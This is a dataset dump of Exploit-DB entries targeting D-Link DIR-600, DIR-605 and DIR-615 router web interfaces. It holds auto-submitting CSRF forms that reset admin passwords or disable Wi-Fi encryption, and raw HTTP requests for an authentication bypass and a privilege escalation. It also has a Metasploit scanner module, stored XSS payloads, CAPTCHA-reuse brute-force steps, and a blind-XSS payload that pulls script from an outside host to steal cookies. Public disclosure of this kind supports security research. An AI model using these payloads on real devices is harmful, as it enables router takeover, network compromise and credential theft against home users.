deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32385
Description: D-Link DIR-600L AX 1.00 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-03-20
Author: Dhruv Shah

Exploit:
####################################################################################

# Exploit Title: Dlink DIR-600L Hardware Version AX Firmware Version 1.00
CSRF Vulnerability
# Google Dork: N/A
# Date: 20/03/2014
# Exploit Author: Dhruv Shah
# Vendor Homepage:
http://www.dlink.com/us/en/home-solutions/connect/routers/dir-600l-wireless-n-150-home-cloud-router
# Software Link: N/A
# Hardware Version:E4

# Firmware Version:5.10
# Tested on: Router Web Server
# CVE : N/A

###################################################################################

 Cross Site Request Forgery



This Modem's Web Application , suffers from Cross-site request forgery

through which attacker can manipulate user data via sending him malicious

craft url.



The Modems's Application  not using any security token to prevent it

against CSRF. You can manipulate any userdata. PoC and Exploit to change

user password:


In the POC the IP address in the POST is the modems IP address.

<html>

  <body>
    <form id ="poc" action="http://192.168.0.1/goform/formSetPassword"
method="POST">
      <input type="hidden" name="settingsChanged" value="1" />
      <input type="hidden" name="config.login_name" value="admin" />
      <input type="hidden" name="config.password" value="YWRtaW4A" />
      <input type="hidden"
name="config.web_server_allow_graphics_auth"
value="false" />
      <input type="hidden"
name="config.web_server_allow_wan_http" value="false" />
      <input type="hidden"
name="config.web_server_wan_port_http" value="8080" />
      <input type="hidden"
name="config.wan_web_ingress_filter_name" value="" />
      <input type="hidden" name="wan_ingress_filter_details"
value="" />
    </form>
  </body>
    <script type="text/javascript">
document.getElementById("poc").submit();
</script>

</html>


______________________

*Dhruv Shah* *aka Snypter*

Blogger | Researcher | Consultant | Writer
Youtube <http://www.youtube.com/snypter> |
Facebook<http://www.facebook.com/dhruvshahs>|
Linkedin <http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0> |
Twitter<https://twitter.com/Snypter>|
Blog <http://security-geek.in/blog/>
Exploit-DB #47250
Description: D-Link DIR-600M - Authentication Bypass (Metasploit)
Type: webapps
Platform: hardware
Date: 2019-08-14
Author: Devendra Singh Solanki

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'CVE-2019-13101 D-Link DIR-600M Incorrect Access Control',
      'Description'     => %q{
          This module attempts to find D-Link router DIR-600M which is
vulnerable to Incorrect Access Control. The vulnerability exists in
        wan.htm, which is accessible without authentication. This
vulnerabilty can lead an attacker to manipulate WAN settings.
        This module has been tested successfully on Firmware Version
3.01,3.02,3.03,3.04,3.05,3.06.
      },
      'Author'          => [ 'Devendra Singh Solanki <devendra0x0[at]gmail.com>' ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          'CVE', '2019-13101'
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 08 2019'))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def run_host(ip)
    res = send_request_cgi({'uri' => '/login.htm'})
    if res.nil? or res.code == 404
      print_error("#{rhost}:#{rport} - Host is down.")
      return
    end

    if res and res.code == 200 and res.body =~ /D-Link/
      print_good("#{rhost}:#{rport} - It is a D-Link router")
    else
      print_error("#{rhost}:#{rport} - Not a D-Link router")
      return
    end

    res = send_request_cgi({'uri' => '/wan.htm'})

    if res and res.code == 200 and res.body =~ /PPPoE/
      print_good("#{rhost}:#{rport} - Router is vulnerable for
Incorrect Access Control. CVE-2019-13101")
    else
      print_error("#{rhost}:#{rport} - Router is with different firmware.")
      return
    end

  end
end
Exploit-DB #45343
Description: D-Link Dir-600M N150 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-06
Author: PUNIT DARJI

Exploit:
# Exploit Title: D-Link Dir-600M N150 - Cross-Site Scripting
# Date: 2018-09-06
# Exploit Author: PUNIT DARJI
# Vendor Homepage: www.dlink.co.in
# Hardware Link: https://amzn.to/2NUIniO
# Version: DIR-600M Firmware 3.01
# Tested on: Windows 7 ultimate
# CVE: N/A

#POC

Goto your Wifi Router Gateway [i.e: 192.168.X.X ip address of router]
Go to --> "Advance" --> "Dynamic DNS" --> "Hostname"
<script>alert("PSYCHO55")</script>
"Username" --> <script>alert("PunitDarji")</script>
and hit apply Refresh the page, and you will get the 2 pop-up first
"PSYCHO55" and second "PunitDarji".
Exploit-DB #44219
Description: D-Link DIR-600M Wireless - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-03-02
Author: Prasenjit Kanti Paul

Exploit:
########################################################################
# Exploit Title: D-Link DIR-600M Wireless - Persistent Cross Site Scripting
# Date: 11.02.2018
# Vendor Homepage:  http://www.dlink.co.in
# Hardware Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Category: Hardware
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Hardware Version: C1
# Firmware version: 3.01
# Tested on: Linux Mint
# CVE: CVE-2018-6936
##########################################################################

Reproduction Steps:

   - Goto your wifi router gateway [i.e: http://192.168.0.1]
   - Go to --> "Maintainence" --> "Admin"
   - Create a user with name "<script>alert("PKP")</script>"
   - Refresh the page and you will be having "PKP" popup

Note: It can also be done by changing SSID name to "<script>alert("PKP")</script>"
Exploit-DB #42039
Description: D-Link DIR-600M Wireless N 150 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2017-05-19
Author: Touhid M.Shaikh

Exploit:
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.

Its More Dangerous when your Router has a public IP with remote login
enabled.

For More Details : www.touhidshaikh.com/blog/

IN MY CASE,
Router IP : http://192.168.100.1



Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm

Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")



Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------

POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send


--------------------END here------------------------

Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.




-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
-----------------------------------------
Exploit-DB #18638
Description: D-Link DIR-605 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2012-03-21
Author: iqzer0

Exploit:
# Exploit Title: D-Link DIR-605 CSRF Vulnerability
# Date: 20-03-2012
# Author: iqzer0++
# Version: Firmware Version : 2.00
# Tested on: DIR-605

This allows unauthroized access to the device and post injections

<html>
<form name="bypass" action="
http://xxx.xxx.xxx.xxx/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0"
method="post">
       <input type="hidden" name="ACTION_POST" value="1" />
        <input type="hidden" name="admin_name" value="iqzer0" />
        <input type="hidden" name="admin_password1" value="bypass" />
        <input type="hidden" name="admin_password2" value="bypass" />
</form>
<script>document.bypass.submit();</script>
</html>
Exploit-DB #41821
Description: D-Link DIR-615 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2017-04-05
Author: Pratik S. Shah

Exploit:
Title:
====

D-Link DIR 615 HW: T1 FW:20.09 is vulnerable to Cross-Site Request Forgery (CSRF) vulnerability

 

Credit:
======

Name: Pratik S. Shah

 

Reference:
=========

CVE Details: CVE-2017-7398.

 

Date:
====

1-04-2017

 

Vendor:
======

D-Link wireless router

 

Product:
=======

DIR-615 


http://www.dlink.co.in/products/?pid=678


Affected Version:
=============

Hardware: T1 , Firmware: 20.09

 

Abstract:
=======

This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

 

Attack Type:
===================

Remote

 

Details:
=========

CSRF vulnerability in D-link DIR 615 wireless router enables an attacker to perform unwanted actions on router, which may lead to gaining full control of the device. 

 

Proof Of Concept:
================

1) User login to D-link DIR 615 wireless router

2) User visits the attacker's malicious web page (DlinkCSRF.html)

3) DlinkCSRF.html exploits CSRF vulnerability and changes the Security Options to None

 

This is the CSRF POC for changing the Security option from WPA2 to None( Parameter: Method)

Attacker can also tamper following parameters

    hiddenSSID
    SSID
    Passwords for all the applicable security options

 

 

<html>

  <!-- CSRF PoC - D-link DIR 615 HW:T1 FW:20.09  -->

  <body>

    <form action="http://192.168.0.1/form2WlanBasicSetup.cgi" method="POST">

      <input type="hidden" name="domain" value="1" />

      <input type="hidden" name="hiddenSSID" value="on" />

      <input type="hidden" name="ssid" value=“Hacked” />

      <input type="hidden" name="band" value="10" />

      <input type="hidden" name="chan" value="0" />

      <input type="hidden" name="chanwid" value="1" />

      <input type="hidden" name="txRate" value="0" />

      <input type="hidden" name="method&#95;cur" value="6" />

      <input type="hidden" name="method" value="0" />

      <input type="hidden" name="authType" value="1" />

      <input type="hidden" name="length" value="1" />

      <input type="hidden" name="format" value="2" />

      <input type="hidden" name="defaultTxKeyId" value="1" />

      <input type="hidden" name="key1" value="[PII_REDACTED]" />

      <input type="hidden" name="pskFormat" value="0" />

      <input type="hidden" name="pskValue" value=“CSRF@test” />

      <input type="hidden" name="checkWPS2" value="1" />

      <input type="hidden" name="save" value="Apply" />

      <input type="hidden" name="basicrates" value="15" />

      <input type="hidden" name="operrates" value="4095" />

      <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm" value="Send" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

 

Disclosure Timeline:
======================================
Vendor Notification: 6th March 2017
Exploit-DB #41033
Description: D-Link DIR-615 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2017-01-10
Author: Osanda Malith Jayathissa

Exploit:
# Title:            D-Link DIR-615 Multiple Vulnerabilities
# Date:             10-01-2017
# Hardware Version: E3
# Firmware Version: 5.10
# Tested on:        Windows 8 64-bit
# Exploit Author:   Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up:https://osandamalith.com/2017/01/04/d-link-dir-615-open-redirection-and-xss/

Overview
--------

The 'apply.cgi' file was vulnerable to Open Redirection and XSS. Inside the router many other cgi files too use this functionality in 'apply.cgi'. For example the 'ping_response.cgi' file.

Open Redirection
-----------------
# apply.cgi

<html>
<!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
      <input type="hidden" name="html&#95;response&#95;page" value="https&#58;&#47;&#47;google&#46;lk" />
      <input type="hidden" name="html&#95;response&#95;return&#95;page" value="tools&#95;vct&#46;asp" />
	<img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>

# ping_response.cgi

<html>
<!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/ping_response.cgi" method="POST" id="exploit">
      <input type="hidden" name="html&#95;response&#95;page" value="https&#58;&#47;&#47;google&#46;lk" />
      <input type="hidden" name="html&#95;response&#95;return&#95;page" value="tools&#95;vct&#46;asp" />
      <input type="hidden" name="ping&#95;ipaddr" value="192&#46;168&#46;0&#46;101" />
      <input type="hidden" name="ping" value="Ping" />
	<img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>


POST XSS
---------

# apply.cgi

<html>
<!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
      <input type="hidden" name="html&#95;response&#95;page" value="javascript&#58;confirm&#40;&#47;&#64;OsandaMalith&#47;&#41;" />
      <input type="hidden" name="html&#95;response&#95;return&#95;page" value="tools&#95;vct&#46;asp" />
	<img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>


# ping_response.cgi

<html>
  <!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/ping_response.cgi" method="POST" id="exploit">
      <input type="hidden" name="html&#95;response&#95;page" value="javascript&#58;confirm&#40;&#47;&#64;OsandaMalith&#47;&#41;" />
      <input type="hidden" name="html&#95;response&#95;return&#95;page" value="tools&#95;vct&#46;asp" />
      <input type="hidden" name="ping&#95;ipaddr" value="127&#46;0&#46;0&#46;1" />
      <input type="hidden" name="ping" value="Ping" />
      <img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>


Disclosure Timeline
--------------------

12/19/16: Reported to D-Link
12/21/16: Security Patch released
ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-615/REVT/DIR-615_REVT_RELEASE_NOTES_20.12PTb01.pdf
Exploit-DB #47778
Description: D-Link DIR-615 - Privilege Escalation
Type: webapps
Platform: hardware
Date: 2019-12-16
Author: Sanyam Chawla

Exploit:
# Exploit Title: D-Link DIR-615 - Privilege Escalation
# Date: 2019-12-10
# Exploit Author: Sanyam Chawla
# Vendor Homepage: http://www.dlink.co.in
# Category: Hardware (Wi-fi Router)
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10 and Kali linux
# CVE: CVE-2019-19743

# Reproduction Steps:
# Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1]
# Go to the Maintenance page and click on Admin on the left panel.
# There is an option to create a user and by default, it shows only user accounts.
# Create an account with a name(i.e ptguy) and change the privileges from user to root(admin) 
# by changing privileges id (1 to 2) with burp suite.

# Privilege Escalation Post Request 

POST /form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/userconfig.htm
Cookie: SessionID=
Upgrade-Insecure-Requests: 1

username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send

# Now log in with newly created root (ptguy) user. You have all administrator rights.
Exploit-DB #48551
Description: D-Link DIR-615 T1 20.10 - CAPTCHA Bypass
Type: webapps
Platform: hardware
Date: 2020-06-04
Author: huzaifa hussain

Exploit:
# Exploit Title: D-Link DIR-615 T1 20.10 - CAPTCHA Bypass
# Date: 2019-10-12
# Exploit Author: huzaifa hussain
# Vendor Homepage: https://in.dlink.com/
# Version: DIR-615 T1 ver:20.10
# Tested on: D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1
# CVE: CVE-2019-17525

D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1

A vulnerability found on login-in page of D-LINK ROUTER "DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1" which allows attackers to easily bypass CAPTCHA on login page by BRUTEFORCING.

------------------------------------
D-Link released new firmware designed to protect against logging in to the router using BRUTEFORCING. There is a flaw in the captcha authentication system that allows an attacker to reuse the same captcha without reloading new.

ATTACK SCENARIO AND REPRODUCTION STEPS

1: Find the ROUTER LoginPage.
2: Fill the required login credentials.
3: Fill the CAPTCH properly and Intercept the request in Burpsuit.
4: Send the Request to Intruder and select the target variables i.e. username & password which will we bruteforce under Positions Tab
5: Set the payloads on target variables i.e. username & password under Payloads Tab.
5: Set errors in (the validatecode is invalid & username or password error, try again) GREP-MATCH under Options Tab.
6: Now hit the start attack and you will find the correct credentials.

-------------------------------------

Huzaifa Hussain
Exploit-DB #31764
Description: D-Link DIR-615 vE4 Firmware 5.10 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-02-19
Author: Dhruv Shah

Exploit:
####################################################################################

# Exploit Title: Dlink DIR-615 Hardware Version E4 Firmware Verion 5.10
CSRF Vulnerability
# Google Dork: N/A
# Date: 19/02/2014
# Exploit Author: Dhruv Shah
# Vendor Homepage:
http://www.dlink.com/us/en/home-solutions/connect/routers/dir-615-wireless-n-300-router
# Software Link: N/A
# Hardware Version:E4

# Firmware Version:5.10
# Tested on: Router Web Server
# CVE : N/A

###################################################################################

Cross Site Request Forgery

This Modem's Web Application , suffers from Cross-site request forgery

through which attacker can manipulate user data via sending him malicious

craft url.

The Modems's Application  not using any security token to prevent it

against CSRF. You can manipulate any userdata. PoC and Exploit to change

user password:

 In the POC the IP address in the POST is the modems IP address.



<html>

  <body>

                <form id ="poc"action="http://192.168.0.1/apply.cgi"
method="POST">

      <input type="hidden" name="html_response_page"
value="back.asp" />

      <input type="hidden" name="html_response_message"
value="The setting is saved." />

      <input type="hidden" name="html_response_return_page"
value="login.asp" />

      <input type="hidden" name="reboot_type" value="none" />

      <input type="hidden" name="button1" value="Save Settings" />

      <input type="hidden" name="admin_password" value="test" />

      <input type="hidden" name="admin_password1" value="test" />

      <input type="hidden" name="admPass2" value="test" />

      <input type="hidden" name="user_password" value="test" />

      <input type="hidden" name="user_password1" value="test" />

      <input type="hidden" name="usrPass2" value="test" />

      <input type="hidden" name="hostname" value="DIR-615" />

      <input type="hidden" name="graphical_enable" value="1" />

      <input type="hidden" name="graph_auth_enable" value="1" />

      <input type="hidden" name="remote_http_management_enable"
value="0" />

      <input type="hidden"
name="remote_http_management_inbound_filter"
value="Allow_All" />

    </form>

  </body>

  <script
type="text/javascript">document.getElementById("poc").submit();</script>

</html>

______________________

*Dhruv Shah* *aka Snypter*

Blogger | Researcher | Consultant | Writer
Youtube <http://www.youtube.com/snypter> |
Facebook<http://www.facebook.com/dhruvshahs>|
Linkedin <http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0> |
Twitter<https://twitter.com/Snypter>|
Blog <http://security-geek.in/blog/>
Exploit-DB #47776
Description: D-Link DIR-615 Wireless Router  -  Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-12-16
Author: Sanyam Chawla

Exploit:
# Exploit Title: D-Link DIR-615 Wireless Router  -  Persistent Cross-Site Scripting
# Date: 2019-12-13
# Exploit Author: Sanyam Chawla
# Vendor Homepage: http://www.dlink.co.in
# Category: Hardware (Wi-fi Router)
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10 and Kali linux
# CVE: CVE-2019-19742

Reproduction Steps:
1. Login to your wi-fi router gateway with admin credentials [i.e: http://192.168.0.1]
2. Go to Maintenance page and click on Admin on the left panel
3. Put blind xss Payload in to the name field “><script src=https://ptguy.xss.ht></script>. This payload saved by the server and its reflected in the user page.
4. Every refresh in the user home page, the blind XSS payload executes and sends data (IP, cookies, victim user agent) to the attacker.
5. For HTML injection just put <b> Testing </b> in username field, you will get the username bold in your homepage.

#Burp Intercept

POST /form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0)
Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/userconfig.htm
Cookie: SessionID=
Upgrade-Insecure-Requests: 1

username=*%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fptguy.xss.ht
<http://2Fptguy.xss.ht>%3E%3C%2Fscript%3E*&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send